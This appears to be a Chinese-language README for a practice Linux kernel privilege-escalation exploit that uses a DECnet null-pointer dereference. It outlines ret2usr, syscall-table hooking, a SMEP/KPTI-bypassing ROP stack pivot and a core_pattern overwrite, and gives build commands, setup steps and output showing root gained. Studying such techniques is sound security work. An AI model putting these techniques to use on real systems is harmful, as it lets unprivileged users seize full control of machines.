使用我的DECnet漏洞和空页映射启用,练习不同的Linux内核利用技术。
全部禁用:qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
代码执行被重定向到用户态的output函数,该函数调用commit_creds(prepare_kernel_cred(0))。
系统调用挂钩
将sys_call_table中的mkdir系统调用处理程序地址替换为一个类似于场景1的函数。
启用SMEP和KPTI:qemu-system-x86_64 -append "nosmap nokaslr"
代码执行被重定向到一个栈枢轴,该枢轴将_$rsp_设置为空页面中的ROP链。
用户态辅助
覆盖core_pattern sysctl以指定在转储核心时以提升权限运行的命令。
然后程序被SIGABRT信号中断以触发用户态脚本。
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
以root身份配置DECnet:
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
以非特权用户身份运行利用程序:
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#